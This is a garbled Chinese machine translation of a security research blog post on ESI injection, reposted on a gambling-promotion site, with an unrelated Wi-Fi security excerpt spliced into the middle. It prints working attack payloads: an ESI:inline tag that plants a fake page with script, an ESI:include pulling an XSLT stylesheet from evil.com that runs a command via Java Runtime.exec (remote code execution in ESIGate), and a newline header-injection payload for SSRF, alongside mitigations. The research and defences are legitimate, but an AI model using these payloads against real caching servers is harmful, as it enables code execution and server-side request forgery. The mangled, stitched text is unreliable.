滥用 ESI 详解(下) | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

滥用 ESI 详解(下)

Sunbet官网Sunbet官网为大家提供:互联网数据资讯,Sunbet官网融合互联网行业资源,提供电子商务、移动互联网、网络游戏、网络广告、网络营销等行业内容,为互联网管理营销市场运营人士提供丰富的产业数据、报告、专家观点、行业数据库等服务,打造最具影响力的互联网数据资讯平台。希望大家喜爱。

,

滥用 ESI 详解(上)

ESI  在行业中的运用

ESI  是一个旧的范例,已失去了它最初的盛行水平。令我们惊奇的是,它仍然在当代高速缓存体系中运用并完成,只管一般没有完全的范例完成,但总是以它的一个小的、简约的子集涌现。 大多数被剖析的产物都将 ESI 作为一个可选特征供应,因而,一般默许状况下会禁用 ESI。 只管如此,我们照样发明有一些产物是默许启用了 ESI。

IBM WebSphere

布置启用动态缓存特征的 WebSphere 实例须要启用 ESI 才完成布置事情。 由于布置的复杂性,这个目标没有作为我们研讨的一部份举行测试。

Squid3

虽然如今的 squid 版本默许状况下不会启用 ESI,假如你经由历程源代码编译来布置它,罕见的 Linux 效劳器发行版如 Debian 和 Ubuntu 默许状况下会供应支撑 ESI 的软件包。 因而,从这些存储库取得的布置 Squid 实例将动态地剖析和实行 ESI 标记。 这可以不是一个经验丰富的体系管理员所期待的。 要搜检 Squid 的装置是不是支撑 ESI ,实行 $squid -v 并在编译标志中查找 –enable-ESI 。

Oracle Fusion 和 WebLogic

还不清晰 Oracle Fusion 是不是默许启用了 ESI,但它须要特定的 HTTP 标头才被激活。 因而,只要在缓存和运用程序效劳器之间已在运用 ESI 时,才可以举行 ESI 注入。 由于布置的复杂性,这个目标没有作为我们研讨的一部份举行测试。

F5

F5 Big-IP 产物好像可以支撑 ESI (须要登录) ,然则我们从供应商供应的有限信息中没法确认装置了什么减缓步伐以及它的功用是什么。 由于布置的复杂性,这个目标没有作为我们研讨的一部份举行测试。

LiteSpeed

依据其文档,LiteSpeed 的 ESI 支撑默许是禁用的。 我们还没有对产物举行明白的测试。

解决计划

ESI  注入是由于疏忽了对用户的输入内容举行“消毒”。 当支撑 ESI 的代办效劳器剖析未经由消毒的用户输入时,就可以运用 ESI 注入。 关于你正在运用的言语或框架,不管发起运用何种减缓 XSS 的手艺,一般都足以防备 ESI 注入。 ESI  范例没有任何平安斟酌,因而,修复破绽的使命留给开发人员举行恰当地输入内容过滤。

如前所述,可以经由历程将 ESI 可以接见的域名或主机列入白名单来部份减缓此破绽。 最少,供应商应当指明启用 ESI 的风险,以关照用户 ESI 注入的不测副作用。

经由历程 ModSecurity 举行检测和减缓

在文章宣布之前,我们联系了 ModSecurity 中心划定规矩集 OWASP 项目标团结负责人 Christian Folini,下面是他的意见:

最少可以举行暂时弥补的一个可以的解决计划是在 ESI 效劳器前面安排第一层防备。我会运用带有 OWASP ModSecurity 中心划定规矩集(CRS)的 ModSecurity 作演示。 本文中供应的一切示例破绽都被默许的 CRS 装置阻挠。 但是,检测仅仅依赖于一个或两个划定规矩。 因而,好像将 CRS Paranoia Level 提高到 2 或更高的设置是有优点的。

See https://coreruleset.org for more information about CRS and https://netnea.com for a set of tutorials.

更多关于 CRS 的信息请移步 https://coreruleset.org

相干教程请移步 https://netnea.com。

2018年8月,我们的同事 Louis Dion-Marcil 在 Defcon 上谈到了 GoSecure 入侵测试团队发明的 ESI 注入。 关于那些感兴趣的人,该报告已在 Defcon YouTube 频道上宣布。Defcon 和 Black Hat 给了我们一个机会来展现 ESI 完成是如安在没有任何歹意 JavaScript 的状况下经由历程客户端 web 浏览器致使会话走漏的。 ESI  是一种范例,它以 XML 标记的情势定义语句,这些语句由缓存效劳器举行诠释。 这些语句经由历程从外部资本中组合种种 HTML 片断来形貌网页的内容鸠合。 进击者可以经由历程在截获的网页中注入歹意标记来滥用这类机制。

这篇文章的目标是跟踪之前我们宣布的研讨成果。 这些发明是适用于特定完成的进击载体。 它也将是一个很好的平台,用以形貌每个调查效果的恰当减缓。

接下来,我们将显现三个新的 ESI 技能:

· ESI 嵌入片断

· 从 XSLT 到 RCE

· ESI  include 指令中的标头注入

ESI 崩溃课程

ESI  语句由 web 运用程序返回,这些 web 运用程序愿望缓存页面内容,但须要按期革新某些元素。 下面是一个 HTML 页面的示例,个中包括返回给缓存效劳器的 ESI:include 语句。

滥用 ESI 详解(下)

进击者可以经由历程在页面中反射一个值来触发这些特征,该值由缓存效劳器处置惩罚。

想要相识更多信息,你可以随时回忆我们宣布的关于这个主题的第一篇博文。

1. ESI 嵌入片断

 <ESI :inline>片断是一个定义保存到缓存的内容的标记。 内容以后是可用的并与“ name.”中定义的途径相干联。名为“ fetchable”的可选属性定义了资本是对外部用户可用(true)照样仅对 ESI 可用(false)。 只要有限数目的供应商支撑 ESI :inline。

一份关于如何有效避免黑客入侵Wi-Fi的完整指南

如今,很多家庭和公司都在使用并依赖无线网络。原因很简单,因为Wi-Fi的效率极高,可以让用户7*24小时都保持与互联网的连接。除此之外,没有杂乱的电线,所以使无线网络更具吸引力。 但是,另一方面,由于Wi-Fi信号可以穿透到房屋或公司的墙壁,这就方便了附近房屋中的用户。甚至附近的用户可以连接到你的WiFi,导致Wi-Fi容易受到黑客的攻击。因此,确保无线网络安全性至关重要。无线网络安全正是专门为防止未经授权的用户访问无线网络和窃取敏感信息而创建的。 你可能会好奇,如果未经允许的用户访问了我的WiFi,那会有什么风险? 毋庸置疑,WiFi虽然便利,但是

Apache Traffic Server、Squid和Varnish 不支撑这类语句,纵然它是 ESI 范例的一部份。 然则,它在 Oracle Web Cache 11g 中的缓存解决计划中是完成了的。

下面是一个歹意有效载荷的例子,它将建立一个假造页面attack.html:

<ESI :inline name="/attack.html" fetchable="yes">
<script>prompt('Malicious script')</script>
</ESI :inline>

从进击者的角度来看,这个特征可以用来污染现有的资本,比方 运用 JavaScript 来隐蔽歹意的后门。 它可以用来托管歹意的页面或二进制文件。

滥用 ESI 详解(下)

受害者看到有毒页面或资本的视角

这个进击向量最初是在阅读了 Oracle 运用程序效劳器 Web 缓存: 管理员手册的文档以后发明的。

减缓步伐

没有限定这类范例的进击的设置要领,由于标记  <ESI :inline>  是一个预期的特征。 最好的保护步伐是确保你的 web 框架在效果视图中默许转义 HTML 上下文。

假如你不再运用 ESI,则可以住手返回标头“ Surrogate-Control” ,以防止缓存效劳器对 ESI 片断举行剖析。

2. 经由历程 XSLT 完成 RCE

一些供应商完成了包括转换为 XML 样式表言语转换的 XML 内容的可以性。 只要一次发明是轻易遭到进击的。 它是由 Benoit cot-jodoin 用 Find Security Bugs 发明的。 我们提出的进击计划影响低于 5.3 版本的 ESIGate 。

触发 XSLT 处置惩罚历程

通例的 ESI :include 标签的情势以下:

<ESI :include src="http://website.com/data/news.xml" stylesheet="/news_template.xsl"></ESI :include>

应用此破绽的要求与之前的进击相似。 进击者必需可以在缓存页面中反射带有 XML 标记的值。 一旦在站点上找到反射值,进击者将在 HTTP 相应中反射以下有效载荷。

<ESI :include src="http://website.com/" stylesheet="http://evil.com/ESI .xsl"></ESI :include>

样式表属性将指向托管在由进击者掌握的长途效劳器上的歹意 XSLT 资本。

从 XSLT 到 RCE

当 include 标记中包括的内容是长途样式表时,ESI-Gate 将自动触发 XSLT 处置惩罚历程。 默许状况下,Java 中的 XML 剖析器许可导入 Java 函数。 这很轻易致使恣意代码的实行,以下面的样式表示例所示。

<?xml version="1.0" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="xml" omit-xml-declaration="yes"/>
<xsl:template match="/"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
<root>
<xsl:variable name="cmd"><![CDATA[touch /tmp/pwned]]></xsl:variable>
<xsl:variable name="rtObj" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtObj, $cmd)"/>
Process: <xsl:value-of select="$process"/>
Command: <xsl:value-of select="$cmd"/>
</root>
</xsl:template>
</xsl:stylesheet>

减缓步伐

关于 ESI-Gate 的减缓与更新到最新版本一样简朴。

有关该破绽的更多信息,可以参考关于歹意 XSLT 的Find Security Bug 的文档。

3. HTTP 标头注入和受限的 SSRF (CVE-2019-2438)

当我们最先这项研讨时,重要的破绽目标是效劳器端要求捏造(SSRF) ,简而言之,就是可以要求来自另一个域名或 IP 的网页。 我们关注 ESI : include 标记中的 URL 参数。 来自 URL 的主机要么被疏忽,要么依据白名单举行考证。 这使得我们最先关注其他特征,比方 ESI 变量(拜见上一篇博客文章)。

有一种状况可以把我们引向 SSRF。 这个场景须要在 ESI:include 语句中注入一个异常的 Host HTTP标头。

<ESI :include src="/page_from_another_host.htm">
<ESI :request_header name="User-Agent" value="12345
Host: anotherhost.com"/>
</ESI :include>

我们运用 User-Agent 作为示例标头,由于标头 Host 被列入了黑名单。 值中的换行符许可我们向 HTTP 要求中增加一个 Host 标头。 由于自定义标头是在 HTTP 要求的开首增加的,因而许可我们掩盖原始目标主机。 除了 IIS 和 Lighttpd 会疏忽带有多个主机头的要求,大多数 web 容器都邑运用第一个头。 这些行动在文件 Host 疑问: 在 HTTP 完成中的多个 Host 的差异性 中有纪录(细致的完成行动见表3)。

减缓步伐

减缓步伐与第一节所述的雷同。 确保你的框架实行准确的 XML /HTML 转义,这将是最好的防备步伐。 要防止HTTP 标头注入,请更新到最新的 Oracle Web 缓存。

总结

在文本中,我们经由历程滥用开源运用和专有缓存效劳中的 ESI 特征,演示了一个之前没有文档纪录过的进击向量。 我们诠释了破绽应用所需的前提和三个有效载荷的示例: Cookie 提取、 SSRF 和绕过客户端 XSS 过滤。 然后,我们细致引见了一些完成的行动,以使运用程序平安社区相识 ESI 天下是怎样疏散的。 我们愿望这项研讨可以为进一步纪录其他缓存产物的状况供应启示,并为破绽赏金猎人供应一个分外的进击向量。

我们晓得这些破绽不会在大批网站上被发明。 这些解决计划还没有大规模布置。 大多数 ESI 完成将不具有所形貌的特征。 每当碰到启用了 ESI 的 web 缓存供应程序时,我们都邑发明这些特征异常风趣。

ESI  范例没有供应一种机制来考证后端发出的标记是不是是正当的。 由于这个缘由,运用 ESI 启用的任何缓存代办都将继承存在潜伏的题目,就像我们在这两篇文章中形貌的那样。

末了,在这篇博客文章中,我们提到了 Benoit Côté-Jodoin 发明的一个破绽。 关于这个破绽的一篇文章将很快宣布,从新归结他在练习时期发明的 RCE 的其他破绽。

我们也要谢谢 Laurent Desaulniers 和 Olivier Bilodeau 对本文的孝敬以及对谐和表露的协助。

参考资料

· 2018年美国黑帽大会时期宣布的 ESI 注入论文

· 在 AppSecCali 的演讲

· Oracle 运用效劳器 Web 缓存: 管理员指南

本文翻译自:https://www.gosecure.net/blog/2019/05/02/ESI -injection-part-2-abusing-specific-implementations


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明滥用 ESI 详解(下)
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址